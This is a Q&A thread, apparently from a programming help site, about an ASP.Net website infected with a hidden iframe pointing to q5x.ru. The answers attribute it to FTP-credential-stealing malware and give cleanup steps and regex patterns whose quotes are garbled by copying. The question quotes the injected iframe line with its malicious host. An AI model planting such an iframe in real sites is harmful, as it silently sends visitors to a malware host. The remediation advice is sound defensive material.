Q:

Website attacked with a hidden iframe (q5x.ru)

A website of mine has recently been infected with some sort of attack that involved injecting a hidden iframe, and it's source was from a site q5x.ru (do not link).
A Google search didn't help me in figuring out how this attack my have took place, so I was wondering if anyone of you may have encountered this same problem?
The iframe code was something of the sort:
<iframe src="http://q5x.ru:8080/index.php" width=109 height=175 style="visibility: hidden"></iframe>

As per request, I am running an ASP.Net website with a database, and as regards forms, it's obviously the ASP.Net form that's used for postbacks.

A:

We have recently encountered the same problem on one of our client's website.
This problem is most likely being caused by a virus infection that primarily targets FTP clients and searches for hostname / username / password combinations. Once found, a connection to the FTP server is being opened and it searches for index.* files and adds the iFrame to it.
In our particular case, our client was one of the few that had direct access to the FTP-server. We immediately changed the passwords, restored backups of the files and removed FTP access for our client.
Steps you should take:

Change your passwords immediately
If you have access to the server FTP logs, find out what files have been infected
For infected files I strongly advise to manually restore these files and not use search / replace by default. In most cases, the IFrames are added at the end of the file, but I have also seen files being partially deleted.

Also note, if the Google crawler visits your site while it is infected, it will add you to the malware list which will seriously affect your site's reputation. If this happens, take the following steps:

Make sure the site contains no more infected files
Make sure your site is verified with the Google Webmaster Tools
Use Google Webmaster Tools to request a new site review

A:

Here are a few tips that might help you:

The first thing to do to prevent these kinds of attacks is to change your ftp, control panel and database passwords as soon as possible.
Change the file permissions in your server to the maximum secure mode.
Download all your files from the server and  check for infections. Clean the infected files.
Using a good antivirus software, scan and clean every PC you use for logging into your hosting server.
Never use public computers to access your server.

How do I clean infected files?
Use these regular expressions to search for all pages containig the malicious code and replace it with space:
<iframe src=\”http://[^"]*” width=105 height=175 style=\”visibility:hidden;
position:absolute\”></iframe>

echo \”<iframe src=\\\”http://[^"]*\” width=105 height=175 style=\\\”
visibility:hidden; position:absolute\\\”></iframe>\”;

You may have to write a script to automate this for all the files in the server.
Source : http://www.diovo.com/2009/03/hidden-iframe-injection-attacks/
https://stackoverflow.com/questions/990437/iframe-script-attack-to-website

